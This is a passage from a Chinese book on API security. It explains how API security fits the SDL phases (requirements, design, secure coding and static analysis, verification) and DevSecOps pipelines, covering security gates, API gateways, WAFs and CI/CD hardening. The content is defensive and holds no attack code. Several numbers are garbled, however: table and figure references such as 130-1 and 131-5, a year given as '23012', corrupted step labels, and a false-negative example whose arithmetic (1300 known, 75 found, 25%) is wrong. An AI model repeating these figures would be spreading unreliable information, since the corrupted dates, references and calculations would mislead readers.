路。在没有系统的前提下,使用表单作为检查工具,也是不错的选择。 当然,表130-1也只是一个样例,比较正式的表单中还包括需求编号、 适用范围、详细说明、威胁等级、处置措施等。 10.3.2 API安全需求相关工具 供API安全需求所使用的工具,目前已公开的资料比较少。大多如 上文所述,需要根据企业的业务特点,自己去整理相应的checklist。而 技术保障类要求相对来说比较通用,可以参考以OWASP应用安全验证 标准(OWASP Application Security Verification Standard)为需求制定的 参考文件;除了此文档外,常见攻击模式枚举和分类(CAPEC)、 OWASP API安全Top 10文档也可以作为安全需求的参考文件。 一般来说,当前阶段贴合企业业务需要的API安全需求工具需要企 业内部的专业技术人员自己去整理。在整理时,参考表130-1中的样 例,归纳出业务侧易于上手使用的参考文档。或可以参考某些互联网企 业的做法,根据业务场景将安全需求梳理清楚,固化在信息化系统中。 此信息化系统通常由威胁知识库、业务场景、需求目录树共同构成,安 全人员负责维护威胁知识库、需求目录树与业务场景之间的映射关系。 当研发人员进行安全需求时,通过在信息化系统中的勾选操作,直接导 出安全需求清单,再整合到需求文档中即可。通过需求设计、功能规格 设计、原型设计等,指导后续安全工作的开展。 目前,市场化上以信息化系统作为安全需求工具的产品比较少,大 多处于起步阶段。在产品使用过程中,需要企业内部的安全人员与业务 人员一起,梳理出业务场景与安全需求之间映射关系的集合,这需要不 小的工作量。而且,参与过程梳理的人的业务知识和安全知识的储备要 足,否则难以理清两者的关系。正是这些原因,导致将信息化系统作为 安全需求工具还没有被广泛使用。以信息化系统作为安全需求工具是安 全需求管理的未来发展方向,通过信息化系统,管理需求目录、需求模 型,对安全需求进行需求控制和需求维护,能从管理和技术两个方面, 提高需求工作的效率。对于勇于尝试和探索的团队,仍是一项不错的选 择。 10.4 SDL之API安全设计 安全设计是安全需求分析后确定所采取的风险处理措施在架构中的 体现,相比通用应用软件在安全设计上的关键要求,API安全设计要简 单得多,这与API在整个应用软件架构中承担的功能是相匹配的。 10.4.1 如何开展API安全设计 本书的第6~9章花了大量的篇幅介绍了API安全关键技术,技术层 面的安全设计主要考虑以下几个方面的内容。 ■ API身份认证:通过身份鉴别机制保障API使用者身份的可信, 为后续API操作提供安全基础。 ■ API授权与访问控制:通过授权和访问控制访问API的非法访问 和API滥用以及敏感数据的过渡获取等。 ■ API通信安全与消息保护:采用数据加密、数据签名、安全信道 等手段保护API传送消息的安全性。 除此之外,还应考虑API调用的限流和熔断、攻击防护,结合安全 管理中心等已有安全技术,将审计和监控等安全设计融入其所属应用程 序的安全生命周期中。 在开展API安全设计过程中,最好是根据固有的软件研发管理流 程,将API安全架构和API安全详细设计融入软件架构设计和详细设计 中。在架构设计环节,遵循5A原则和纵深防御原则,结合威胁建模分 析或威胁库(比如OWASP自动化威胁手册)的结果,完成架构设计; 在详细设计阶段,结合业务流程,参考API安全检查表,完成API的详 细设计。这种不将安全设计过程单独出来进行单独设计的好处是避免安 全与技术分离,导致设计人员做出的设计不切合实际情况。同时,在当 前环境下,大多数企业内部的产品研发还没有到需要单独进行API安全 设计的规模。 在开展API安全设计活动时,以下几点需要读者关注,可以为API 安全设计提供捷径。 ■ 在架构设计中引入已有安全组件来满足安全要求,优于在架构中 设计自己的安全机制。在一个企业中,已有的安全组件可能来源于企业 内部团队研发、外部采购、开源项目等。 ■ API安全检查表的使用优于单纯性的安全教育课程,特别是根据 业务演进过程中历史数据靠前的安全问题匹配检查项。 ■ 系统性的威胁建模要逐层分解,成本很高,大多数企业都不适 用,不要被书本的理论所干扰。在API安全层面,通过迭代更新的检查 表一般是够用的。 ■ 对于编程语言和所依赖组件的选择,在设计阶段就应从安全的角 度去考虑。比如在第6章中提及的API网关与南北向安全中,当设计人员 选择API网关时,除了考虑API的功能、性能是否满足业务需要外,API 网关产品自身的安全性也是一个需要考察的内容。 10.4.2 API安全设计相关工具 在API安全设计方面,业界可供参考的资料比较多,可分为以下几 类。 ■ 各大云厂商API使用说明文档:主要为公有云上实际使用场景, 可以从云厂商的官网上找到相关链接,如表10-2所示。 表10-2 云厂商API安全设计参考样例 ■ 大型互联网应用API使用说明文档:主要为大型互联网应用对外 部或第三方合作伙伴提供的API开放平台,可以从API开放平台上获取 API安全设计相关资料,如表10-3所示。 表10-3 大型互联网应用API安全设计参考样例 ■ 企业或组织公开的API安全设计文档:主要是互联网企业或安全 组织公开的API安全最佳实践文档,如表10-4所示。 表10-4 API安全设计参考文档 10.5 SDL之API安全实现 安全实现在SDL中更多的是指编码开发,是根据安全设计阶段的产 物,选择相应的编程语言,完成API编码实现过程。 10.5.1 如何开展API安全实现 编码开发的相关技术,虽不属于本书重点关注的内容,但在安全实 现层面,仍需要结合所选择的编程语言,考虑其安全编码过程。一般来 说,安全实现的过程通常会分为以下三个步骤。 ■ 安全编码培训:是指专门针对某种编程语言所易发的安全缺陷或 高危函数所做的编码赋能培训,也可以作为安全培训活动中的一门课程 来实施。 ■ 安全编码:是指编码开发人员根据安全编码规范开展编码的过 程。 ■ 静态检测:是指对编码人员所提交的代码进行静态代码检测,以 发现编码过程中的安全缺陷,并迭代改进的过程。 这三个步骤中,安全编码培训的开展可以参考130.2节的安全培训 来进行,只需要将课程内容换成编码实践的内容即可,而其他的两个步 骤则是全新的内容。 1.安全编码培训 安全编码培训的内容通常依赖于开发应用程序或API所使用的编程 语言,如果是Java语言,Spring Security官方文档是一个优质的资源,可 以根据实际需要,将其中相关的章节摘抄出来,作为培训的案例。除此 之外,各个企业内部的安全编码规范也是一个很好的培训资料。另一方 面,在前文中也有所提及,每一个企业或团队,历史安全缺陷记录都是 很好的参考资料,将排名靠前的安全编码案例进行分析、分享是安全编 码培训很好的培训方案。案例分析时,可以参考本书第3章内容的案例 结构,对造成API漏洞的原因做详细剖析,以加深编码人员对漏洞原理 的理解。 2.安全编码 很多企业或团队内部都有自己的编码规范或安全编码规范,但往往 仅仅是规范文本,很难以在实施工作中执行,这样的安全编码规范实际 上没什么用。一个好的安全编码规范实践其实是遵循PDCA循环的,除 了编写规范文本并定期修订外,在编码过程中也要采用工具进行编码规 则的检测,比如阿里的代码规则检测工具P3C、SonarQube的安全插 件。通过编码规范检测或静态检测,将编码规范纳入日常编码的活动中 进行闭环,才是安全编码规范真正要起到的作用。 3.静态检测 静态检测是安全编码中很重要的一环,尤其是在编码开发人员安全 编码能力不足的情况下,静态检测从事后验证的视角,有效地保障编码 实现的安全性。静态检测通常根据开发语言的不同会选择不同的工具, 或者说,同一种静态检测工具,因开发语言的不同,检测效果会有比 较大的差异。所以企业在采购静态检测工具时,需要结合企业使用的开 发语言,选择合适的代码静态检测工具。 一般来说,选择代码静态检测工具时,主要的参考指标如下。 ■ 支持的开发语言:虽然很多检测工具都宣称能扫描多种开发语 言,但所支持的开发语言检测的效果到底怎么样,这需要企业自己去做 横向比较。 ■ 漏报率:通常使用含有已知漏洞的应用程序,比如WebGoat、 DVWA之类的漏洞学习平台,来验证静态检测工具的漏报率。比如已知 漏洞是1300个,实际扫描后只发现了75个,则漏报率为25%。 ■ 误报率:是指在发现的漏洞中,不是漏洞而误报为漏洞的比例。 比如报告出漏洞是100个,实际验证后发现了25个不是漏洞,则误报率 为25%。 ■ 运行环境与配置:是指静态检测工具运行的操作系统环境、机器 配置、内存等,有的静态检测工具只允许运行在Windows环境下,有的 静态检测工具则在Windows、Linux、UNIX下均可以;有的可以;与 CI/CD集成,有的则不可以,这是在工具安装时需要考虑的。 ■ 报告格式:是指检测结果所提供的展现形式,一般有HTML、 Word、PDF、Excel格式等。 ■ 报告内容:是指是否支持根据不同的漏洞等级或检测规则导出不 同的报告结果数据。 ■ 性价比或购买方式:是指付款和使用方式,比如同样的费用下使 用期限是多久、维保多久、是否支持API调用、是否可以支持同时多个 用户并发等。 从目前的静态检测实践来看,大多数企业在使用两种或两种以上的 静态检测工具做交叉检测,以减低漏报率。 10.5.2 API安全实现相关工具 在API安全实现方面,推荐的工具与Web安全所使用的工具并无差 异,主要有以下几种。 ■ 文档类:主要为不同语言的安全编码规范或实践,如表10-5所 示。 表10-5 安全编码规范参考指引 ■ 软件类:主要为静态检测工具,如表10-6所示。 表10-6 主流静态检测工具 (续) 无论是文档类工具还是软件类工具,使用它们的目的都是为了保障 研发人员实现的API符合安全要求。文档类工具从编码的角度,在编码 之前,指导研发人员如何编写出安全的代码,软件类工具从代码检测的 角度,在编码之后,验证研发人员编写的代码是否按照要求去实现。对 安全管理人员来说,文档类工具易于输出,但不利于落地,需要借助于 软件类工具做事后的检测,来保障安全措施的闭环。而软件类工具因适 用的语言不同、研发人员编码习惯的不同,在实际使用中,往往需要结 合实际情况进行参数调优,选择投入产出比最佳的方案。比如,为了减 少代码检测的误报率,选择只报告高危的漏洞。这样安全人员在对检测 报告做二次确认时,节约了误报率高带来的误报筛选的成本。比如,为 了适应编程语言,在C语言开发的应用程序代码检测时,选择报告的检 测模板为SANS Top 25,在Java Web开发的应用程序代码检测时,选择 OWASP Top 10,通过有针对性的方案,提高正确率。 10.6 SDL之API安全验证 安全验证是对SDL流程中安全需求、安全设计、安全实现环节的验 证,通过管理手段和技术手段来评估安全实现的正确性,保证安全设计 与安全实现的一致性。 10.6.1 如何开展API安全验证 在安全验证环节,通常采用动态检测、模糊测试、攻击面评估来综 合评价已完成开发功能的安全性。在本书的第4章和第5章中已详细介绍 了API安全工具及渗透测试过程,这其中包含了很多安全验证活动中所 使用的工具。 工具验证是整个安全验证中占比最大的一部分,除此之外,还应考 虑SDL过程保证和个人隐私合规类的安全验证。其内容如下。 ■ SDL过程保证:是指通过管理手段,检查SDL在安全验证之前的 各个活动的实施情况,是否已按照标准要求执行。安全验证作为整个流 程中的一个关键检查点,保证前期安全活动执行的完成。 ■ 个人隐私合规类:个人隐私合规涉及的内容除了技术部分,还有 很多内容依赖于人工或非安全人员(比如法务人员)的参与,才能保证 其实施的正确性。在国内,国家互联网信息办公室、工业和信息化部、 公安部、市场监管总局联合制定的《App违法违规收集使用个人信息行 为认定方法》中涉及的诸多条款,需要在安全验证环节做最终的安全评 估,以保障最终实现的正确性。同样,如果产品在欧盟区销售,则 GDPR中涉及的很多内容也需要人工参与做详细的验证,光靠工具是无 法验证的。 开展安全验证的目的是为了防止在安全实现活动中,偏离了安全需 求和安全设计,通过验证手段来发现问题,推动偏离的问题进行整改, 以保证编码实现回到期望的轨道上来。 在API安全中,个人隐私合规需要重点关注接口调用中调用者身份 的确认,个人隐私在第三方使用过程中的权责传递与合同约定,防止接 口数据的滥用,控制数据的使用和传播范围。 10.6.2 API安全验证相关工具 在API安全验证方面,业界可使用工具比较多,除了第4章重点介绍 的工具外,还有部分工具如表10-7所示。 表10-7 部分API安全验证工具 API安全验证相关的工具经常在测试阶段或渗透测试阶段被使用, 来验证API安全实现的正确性。它们之间通常混合、交叉使用,互相取 长补短,以保障验证工作尽可能做到全面。比如FuzzDB,其收集的攻 击向量可以提供XSS、Xpath注入、SQL注入、XXE等漏洞的验证,方 便专业技术人员在OWASP ZAP或Burp Suite中集成使用。同时, FuzzDB所包含的大量的攻击向量数据库,可以在API开发生命周期中, 作为一个全量的攻击用例参考,弥补专业技术人员能力不足时带来的偏 差。利用FuzzDB,通过对低阶专业技术人员进行简单的培训和赋能实 践,即可以达到验证能力中等水位线的基准要求。 10.7 小结 在这一章中,从SDL的角度为读者介绍了API安全与SDL的关系。 从本章内容读者也可以看出,在整个SDL的关键安全活动中,API安全 通常是作为SDL日常运营的一个子集在运转着,并非独立出来的。同 时,从SDL关键安全活动的开展过程来看,其整体流程比较系统化,通 常需要结合企业内部各个组织之间的运作模型,将安全流程融入业务模 型中来推进SDL的工作。这样的方式,与当前互联网环境下快速试错、 快速交付、小步迭代的文化是相冲突的,因此,需要一种更轻便、更工 具化、流水线化的安全管理模式来满足业务对安全的诉求,同时减少安 全工作对业务交付的影响,这将是下一章介绍的DevSecOps的重点内 容。 通过本章对各个安全活动的介绍,希望读者在理解SDL含义的基础 上,能了解各个关键安全活动包含的内容,为下一章DevSecOps的深入 理解打下基础。 第11章 API安全与DevSecOps 上一章介绍了SDL的整体活动流程,通过对SDL内容的了解发现其 系统化的安全管理过程过于笨重,难以匹配互联网业务快速发展的需 要,为了解决此问题,业界将DevOps和安全进行融合,提出了 DevSecOps的概念,将开发、运营、质量和安全四类角色职责糅合,围 绕安全文化打造更具有协作性、更高效的运作模型。 11.1 DevSecOps简介 与SDL模型相比,DevSecOps出现时间更晚一些,又被称为 DevOpsSec、SecOps或DevSec等。DevSecOps来源于DevOps,是基于 DevOps之上构建安全能力。 11.1.1 DevSecOps的基本概念 在软件企业中,通常包含几个不同的团队,分别负责产品的客户需 求与市场推广、产品的设计与开发、产品的运维和客户服务。这几个团 队之间相互协作,以软件产品生命周期管理的形式,完成解决方案的交 付。在典型的DevOps流程中,开发工程师、IT运维工程师、质量工程 师等不同角色参与与协作,共同完成产品需求-设计-开发-部署的生命周 期管理,如图11-1所示。 ●图11-1 DevOps模型中各角色协作关系 DevOps协作模式对于频繁交付的企业,面临持续版本迭代和快速 响应周期的压力时,既能使客户需求快速地传导到后端,提高工作效 率,又能通过自动化工具降低软件发布过程中的风险。但随着安全在软 件质量中逐渐被重视,各个团队协作往往会出现安全团队与其他团队协 作不畅、安全工作滞后、研发流程缺少安全控制环节等尴尬局面,于是 在23012年Gartner首次提出DevOpsSec的概念。 DevSecOps真正被业界关注是近几年自动化部署技术成熟之后才逐 步被推广开来,2017年在亚洲DevSecCon大会上,演讲嘉宾Shannong Lietz提出“安全左移”的概念,其核心理念是DevSecOps,强调安全是整 个IT团队(包括开发、运维及安全团队)每个人的责任,通过管道化 流程、加强不同人员之间的协作,以工具、技术手段将重复性的安全 工作自动化地融入研发体系内,让安全属性嵌入整条IT流水线。在此 次大会上,Shannong Lietz给DevSecOps做了基本的定义,如图11-2所 示。 ●图11-2 对Shannong Lietz在2017 DevSecCon大会上DevSecOps定义的关键点总结 与SDL所强调的系统性安全设计不同,DevSecOps更注重安全文化 建设和全流程的能力打通,通过工具化、平台化的管道流,集成各种安 全能力,达到多个团队链式协作的效果。在DevSecOps中,安全更接近 于当前业界提出的“原生安全”概念,是从软件生产、软件供应链的源 头,构建内置的安全能力。比如在原有的DevOps流程中,添加威胁建 模,引入代码质量检查,通过静态代码分析检查代码缺陷,使用Docker 容器构建部署安全能力等。 11.1.2 DevSecOps实施关键要点 在传统的协作模式中,安全通常是滞后的。一种情况是产品发布或 交付后,产品在线上发生了安全问题,再由开发人员回溯问题产生的原 因,完成问题整改;另一种情况是软件的编码开发已经结束,安全团队 才介入产品的发布流程,对软件产品做发布前的安全审查。这两种情况 中,无论是哪种,与其他团队的合作都是滞后的。但随着各行各业对安 全越来越的重视,面对诸多问题开发团队感到无从下手,开发团队的管 理层希望安全团队更早的介入研发流程,以帮助他们生产出高质量的软 件,这也是DevSecOps所期望达到的目的。 对于API来说,如果想生产出高质量的API服务能力,在DevSecOps 实施过程需要关注以下关键要点。 ■ 安全左移:DevSecOps致力将安全引入开发阶段,通过在API开 发早期引入安全环节来降低传统模式下安全工作滞后带来的返工成本。 在DevSecOps安全共同担责的文化下,鼓励开发工程师参与安全工作, 分析安全需求,熟悉安全缺陷用例,编写出可信任的代码;鼓励质量工 程师尽早参与安全质量管理过程,关注漏洞产生的原因、漏洞的数量、 漏洞危害等级以及漏洞修复情况,从整个生命周期的开发与维护的视角 关注安全质量与成本。 ■ 安全自动化:DevSecOps关注整体流程的工具化和自动化,对于 安全工作来说,为了减少对研发流程的影响,可以利用API网关、微服 务、持续集成与部署(CI/CD)、容器化以及云原生技术,将安全工作 规范化、组件化、自动化,通过定点监控和审计来跟踪流程的执行和覆 盖情况。 ■ 持续运营:DevSecOps并非解决所有安全问题的灵丹妙药,通常 在组织内的推进过程是循序渐进的,在推进过程中,逐步添加或调整安 全活动的数量与安全活动在流程中的位置,建立数字化运营指标,对 DevSecOps执行过程的数据进行采集、分析,直到监控的数据能表明当 前可以发现的漏洞数量足够少,有足够的安全能力能保障API的安全 性。同时,当内外部环境发生变化时,及时调整安全需求的输入,帮助 企业关注API安全工作的重点,获取最佳的投入产出比。 11.2 DevSecOps管道 为了减轻安全活动介入后对原有流程的影响,DevSecOps鼓励将安 全流程与现有的开发管理流程融合,将安全工作加入现有的开发平台和 工具中,比如在项目管理平台中导入安全等级定义、在需求管理平台中 导入安全需求、在持续集成平台中与安全测试能力对接、将安全测试结 果导入缺陷管理系统或工单管理系统中。 11.2.1 持续集成与持续安全 在DevOps模式下,研发组织借助DevOps平台,打通持续集成、持 续交付和基础架构的链路,通过DevOps管道的关键部分将自动化步骤 链接起来。当开发人员提交代码之后,系统自动化完成构建、检测、部 署,直至提交到生产环境。如果提交失败,系统能及时地回滚,保障应 用程序的一致性,如图11-3所示。 ●图11-3 DevOps管道 在DevOps管道中,开发人员面向持续集成平台(CI),当代码提 交后,关键评审环节与自动化单元测试或集成测试同时进行,当最后都 确认没有问题,审核通过,合并到中央源代码存储库供持续发布阶段使 用。当代码合并到中央源代码时,将触发持续发布(CD)流程,质量 管理人员介入,同时自动启动安全测试。当最后都确认没有问题时将新 的代码打包到软件中,创建自动化发布需要的基础设施组件。 而在DevSecOps中提倡持续安全,安全在管道流中融入更深,基本 分布在持续集成、持续发布、基础设施运营中的每一个阶段。安全团队 会和DevOps团队一起,定义和实施安全控制要求,明确安全基线。 CI/CD持续运行,静态检测、动态扫描、运营监控,伴随着版本迭代持 续运转。理想状态下,大多数安全工作已经自动化,只有在应急或特殊 场景下才需要手工操作。 11.2.2 DevSecOps平台 DevSecOps管道中各个关键活动的串联,在流程上依赖于平台与工 具,在单点能力上依赖于SDL。一个典型的DevSecOps平台包含的功能 模块如图11-4所示。 ●图11-4 DevSecOps平台组成结构 DevSecOps平台通常包含如下功能模块。 ■ 流水线管理:主要为各个角色提供统一入口,包含任务编排与配 置、过程数据的统计度量、组织机构与用户的基础信息以及权限访问控 制等。 ■ 工程管理:从项目的角度,管理需求和任务以及整体缺陷,包含 功能缺陷、安全缺陷、质量缺陷等。 ■ 代码管理:主要为代码仓库的管理,管理代码的分支、代码的存 储、代码静态检测以及代码评审的协作流程等。 ■ 构建管理:为持续集成地构建环境,管理编译选项配置、容器构 建参数配置等。通过编译与构建,生成代码制品。 ■ 制品库管理:构建完成后生成的代码制品,统一存放的制品库, 并对代码制品进行持续检测,关注组件依赖与组件漏洞、组件许可协议 以及供应链的安全性。 ■ 部署管理:管理自动化部署的各种环境,如应用所需要的环境、 主机环境、基础设置环境等。管理部署架构以及部署前的各项自动化测 试,比如功能测试、安全测试、性能测试等。 ■ 运维管理:通过线上的周期性监控,及时发现线上问题,做出应 急响应。 每一个功能模块中,都涉及不同的工具,为平台提供能力支撑。常 用的工具如下。 ■ 工程管理:主要有Jira、Confluence、禅道等。 ■ 代码管理:主要有SVN、GitLab、SonarQube、Fortify、 Coverity、Checkmarx等。 ■ 构建管理:主要有Jenkins、Nexus、Hudson、Maven、JUnit等。 ■ 制品库管理:主要有Protecode SC、Dependency-Check、 Artifactory、Harbor等。 ■ 部署管理:主要有Kubernetes、Docker、OpenShift、 OpenSCAP、ZAP、AppScan等。 ■ 运维管理:主要有Zabbix、Prometheus、SkyWalking、Nessus、 ModSecurity等。 DevSecOps平台中,典型的工具流转关系如图11-5所示。 ●图11-5 DevSecOps平台中工具流转关系 在图131-5的平台流水管道中,不同的角色在不同的阶段使用不同 的工具参与整个管道的能力构建,共同保障最终研发输出产物的安全质 量。比如,开发人员使用git客户端,从Git仓库获取代码,提交代码后 在平台上使用Maven进行编译。SonarQube根据安全规则对代码进行代 码安全检测,OpenSCAP用于运行环境的安全基线检测,SoapUI用于应 用层API服务或API接口的安全检测。通过平台工具链,以保障API从开 发到线上发布的过程安全。 11.3 DevSecOps API安全实践 如果企业内部想通过DevSecOps管道来创建更安全的API服务,那 么建议DevSecOps团队首先建立流水化的安全流程,在关键阶段设置卡 点,验证API安全性。在安全的CI/CD环境上,与API安全工具集成,自 动化基础架构的安全操作,加强过程监控和扫描,提高应急响应速度。 11.3.1 设置关键卡点 构建高安全性的API服务不是说追求百分百的安全,而是说在整个 管道流中设置关键卡点,当有安全问题发生时,能及时发现并处置。在 SDL中讨论了安全流程中的安全需求、安全架构、安全编码、安全测试 等关键活动,设置DevSecOps的关键卡点时,需要把单点的SDL能力根 据实际需要裁剪后融入DevSecOps的流程中。也可以分阶段、分步骤推 动安全左移工作,先在流程中嵌入动态检测工具和版本发布审核,等流 程运转比较顺畅时,再逐步添加静态检测、安全架构、安全需求等。切 忌一上来就将所有的安全活动都铺开,因为一方面DevSecOps流程的成 熟度很大程度依赖于所在企业的IT治理水平和API管理水平(比如API规 范覆盖情况),另一方面开发团队、质量团队、运维团队对安全的理解 也不一样,从情感上来说,运维团队是更靠近安全团队的,在其工作中 推进安全活动会比较顺利,而开发团队相对离安全团队比较远,所以推 进时要注意节奏的把握。 一般来说,首先推荐的关键卡点主要有落实自动化API安全测试、 使用API网关、接入Web应用防护墙。 1.落实自动化API安全测试 落实API安全测试的目的是为了自动化扫描每一个API。自动化API 安全测试与传统Web安全测试最大的区别在于不用像传统Web安全测试 那样关注页面,更多的是从请求输入与应答响应两部分去分析API应用 程序是否存在漏洞。API安全测试的常规内容主要包含API身份验证、 授权、输入验证、异常处理、数据保护、安全传输以及HTTP Header安 全性等。这些测试内容,可以借助自动化工具去实现,常用的工具有以 下三类。 ■ 动态安全检测(Dynamic Application Security Testing,DAST), 其特点是在应用程序的动态运行状态下,模拟黑客攻击行为,分析应用 程序的响应,而确定应用程序是否存在漏洞。 ■ 静态安全检测(Static Application Security Testing,SAST),其 特点是分析应用程序的源代码或二进制文件,通过语法、结构、过程、 接口等来发现应用程序的代码是否存在漏洞。 ■ 交互式安全检测(Interactive Application Security Testing, IAST),相当于是DAST和SAST结合的一种安全检测技术,通常会在 应用程序中添加探针或Agent代理,收集应用程序、Web容器、JVM中 的执行日志和函数调用信息,结合请求输入与响应消息,分析应用程序 中是否存在漏洞。 这三类工具中,IAST使用过程稍显烦琐,但技术优势比较明显, 漏洞检出率高于其他两类,同时漏洞误报率也低于其他两类,并可以快 速定位代码片段和API接口,可以作为首选的自动化API安全测试工 具,如果没有此类工具,则建议选择DAST类。易于集成的工具选项如 表11-1所示。 表11-1 持续集成中API扫描工具推荐表 至于SAST类的工具,如果想在流程中加入,建议先不要购买商业 版软件,先把SonarQube自身的安全插件使用起来,看看运营效果,当 漏洞逐渐减少,需要采购商业版软件时,再采购商业版软件与 SonarQube进行集成。SonarQube支持的代码安全检测标准常用的有 OWASP Top 10标准和SANS Top 25标准,对于常见的代码漏洞具有很 好的检测效果,且易于与代码仓库打通,完成跟踪与闭环。SonarQube 的安全插件支持的开发语言与漏洞检测规则类型如图11-6所示。 图11-6中第1部分表示支持的开发语言,比如C/C++、Java、PHP、 Go等常见开发语言均支持;第2部分表示当前选中的Java开发语言支持 的漏洞检测规则,图中可以看到XSS、加密、HTTP跳转等不同的漏洞 类型;第3部分为选中某个漏洞检测规则后的对应漏洞原理描述,这在 开发人员进行漏洞修复时,是很好的参考资料。 ●图11-6 SonarQube安全规则 2.使用API网关 使用API网关在一定程度上可以帮助DevSecOps团队管理API,也是 系统架构中最简单有效的保护组件。API网关产品中所具有的身份认 证、访问控制、数据校验、限流熔断等功能,能有效地提高API的安全 性。 在后端服务部署前设置必须接入API网关的关键卡点,对外部客户 来说是不可见的,对内部开发人员来说,需要打通持续集成(CI/CD) 与API网关的接口,发布前准备好API导入数据供CI/CD调用。这会增加 开发人员的额外工作量,并影响发布进度,这些可能会成为推进此项工 作的障碍。同时,当所有后端服务的流量都必须由API网关进行通信 时,对原有通信性能的影响和API自身的稳定性,将是对推进此项工作 的负责人员的最大挑战。 在很多企业,API网关的采购和运维通常不属于安全团队管理,所 以API产品自身是否支持与CI/CD的集成,API网关产品所购买的license 能支持多少API的接入,成本投入如何分摊,这些问题是需要在确定此 卡点时讨论清楚的,否则可能会导致此项工作半途而废。 3.接入Web应用防火墙 熟悉API网关的读者可能会知道,当前市场上很多API网关产品对 API威胁的防护能力不足(在本书的第12章,将为读者讲述API网关产 品的相关内容),尤其是针对不同的API协议特性的定向攻击,这种情 况下,在整体系统架构中引入Web应用防火墙是一项投入不大却成效 显著的工作。 当接入Web应用防火墙后,外部攻击流量到达API网关时,已经过 了Web应用防火墙的流量检测,对恶意行为完成了过滤,对后端系统的 危害性大为降低。同时,运维人员通过Web应用防火墙的数据与日志, 可以定向分析异常行为,在Web应用防火墙上调整安全防护策略,达到 快速阻止攻击的目的。 在DevSecOps管道中,很重要的一个环节就是应急响应。Web应用 防火墙提供了API攻击的可视化入口,通过Web应用防火墙,可以发现 早期攻击行为,提前做出安全策略调整。另外,Web应用防火墙大多提 供异常告警功能,接入后相当于为API配备上了保安,能实时的监控线 上行为,及时提醒API维护和管理人员介入处理。 11.3.2 构建不同层面的安全能力 在设置关键卡点章节中,从如何简单、快速地收敛API安全风险的 角度优先讨论了API安全测试、API网关、Web应用防火墙的三个关键卡 点及其作用。如果想要更系统化地构建API安全能力,在三个卡点保证 API服务自身安全性的基础上,还需要构建不同层面的安全能力。主要 有以下两点。 ■ 持续集成管道安全,即保证CI/CD环境的安全性。 ■ API基础设施安全,即保证API运行环境的安全性。 1.持续集成管道安全 很多时候,当人们在讨论软件安全时,往往忽略其开发环境的安全 性。在DevSecOps中往往也是如此,大多数人关注于交付产物的安全 性,而忽略了CI/CD自身的安全性。因此,当本书在讨论DevSecOps安 全能力时,首先讨论的是平台自身的安全性。 传统研发模式下,研发人员在本地计算机开发,保存部分或全部代 码进行功能迭代,然后本地编译打包,上传至代码仓库,测试验证后再 手工上传到发布环境,进行线上发布。在这个过程中,SVN或Gitlab仅 仅充当静态存储的作用,没有跟研发流程打通,更谈不上开发到部署的 自动化。而在DevSecOps中,大多数流程都在CI/CD环境中,包括代码 编译和代码制品打包。快速交付管道缩短了交付周期,原来很多人工操 作转为机器或程序自动化去做。在这些情况下,管道自身的安全性将变 得更加重要,如果管道受到威胁,某个组件拥有了更多的权限,一旦受 到攻击,可能会导致整个管道流阻断。那么如何建立安全的网络环境、 如何通过访问控制限制用户和组件的权限、如何保证制品库不被利用来 推送非法的应用等问题将成为CI/CD自身安全保障所必须解决的问题。 (1)做好平台用户身份鉴别和访问控制 DevSecOps平台面向终端用户,这些用户基本都是企业内部的人 员,在用户身份鉴别上可以考虑集成企业的域控,通过LDAP协议和多 因子认证,保证使用者身份的安全性。当开发人员使用自己的域账号登 录代码仓库提交代码时,对代码仓库中所管理的项目严格按照项目组成 员的形式,分配目录级访问控制权限,比如项目负责人对所有文件夹具 有读、写、执行权限;普通开发人员只对代码文件夹具有读、写、执行 权限,而对项目管理类文档没有权限,对需求类文件夹只有读权限等。 而对于提交后的代码,需要进行审核,只有审核通过才能合并到中心代 码仓库。这样既能保障开发人员可以轻松地提交和修改代码,又能防止 开发过程中植入恶意的代码片段提交到中心代码仓库中。 而对于中心代码仓库到部署阶段的身份鉴别与访问控制,推荐使用 本书中提及的OAuth委托授权机制,这样的好处是平台不用保存用户的 密码信息,在用户确认授权后从中心仓库中拉取代码进行编译、打包、 验证与部署。当然,这其中必然涉及一些后台任务的账号,对于这类账 号,需要在平台中建立白名单机制,通过流程审批后开通白名单权限。 同时,要定期审核白名单和项目组成员的变更情况,保证平台中不存在 过期的、无人使用的、未知的账号和授权。 (2)添加代码制品的签名验证 为了防止未授权应用或恶意应用被管道推送、部署,对代码制品进 行数字签名校验是一项优秀的保护措施。对于需要代码制品签名的项目 组,为每一个成员创建数字证书。当成员用户访问平台时,获取其证书 信息,对提交的代码、生成的制品进行签名,平台在后端审核签名结 果,只有审核通过的方可推送。审核程序的脚本一般不建议嵌入管道流 中,防止管道被破坏后导致审核功能无效;建议放在一台具有严格访问 控制的独立服务器上,可以由管道流中某个挂载点触发调用。 (3)管理平台基础设施的安全 平台基础设施是DevSecOps平台的运行依赖,如果平台基础设施安 全没有做好,平台应用程序的安全性再好也无法控制风险。对于平台基 础设施的主机、网络应做好严格的身份认证和访问控制,建议日常的运 维通过堡垒机操作,不要将平台基础设施与办公网络直通,缩小受攻击 面。 2.API基础设施安全 API基础设施是API服务持续交付后的部署位置与运行环境,API基 础设施的安全性直接关系着API服务的安全性。要想做到API基础设施 的安全,主要从以下几个方面去实施。 ■ 在持续交付管道中,添加部署前的基础设施安全扫描。 ■ 对API基础设施实施严格的网络访问控制。 ■ 使用加密的API通信链路。 ■ 控制数据库及其他数据存储的访问。 (1)部署前API基础设施安全扫描 当全面测试通过后,通过持续交付通道,将API服务部署到基础设 施环境中去,在部署前,需要验证基础设施的安全基线是否符合要求, 主机是否存在已知的漏洞。只有这些工作完成后,才触发自动化部署动 作。其交互流程如图11-7所示。 ●图11-7 持续交付中API基础设施安全扫描示意流程图 在图11-7中,当代码提交通过审核触发CD流程时,首先如步骤1) CD发起容器实例化请求,实例创建成功后如23)通知CD,CD再通知漏 洞扫描器33)发起43)对基础设施的安全扫描,扫描完成后如步骤 5),漏洞扫描器6)通知CD,CD根据6)的通知结果,如果可以发 布,则7)获取容器实例,由步骤8)推送到基础设施上。整个流程中, CD充当调度大脑的作用,在容器仓库、漏洞扫描器之间进行调度,根 据各个组件的响应通知,判断下一步如何操作。 (2)实施API基础设施网络访问控制 在传统的网络环境中,一般通过防火墙实施网络层的访问控制。如 果服务器数量较少,有时也通过iptables在主机层设置网络访问控制策 略。但在云环境下,无论是公有云还是私有云环境中,想通过防火墙或 路由交换设备来控制网络层的访问控制变得不切实际。对于云上环境, 一般采用安全组的方式进行网络访问控制。比如在阿里云中,使用普通 安全组是一种常见的安全策略。安全组相当于一层虚拟防火墙,具备状 态检测和包过滤功能。默认情况下,安全组的各个ECS之间允许所有协 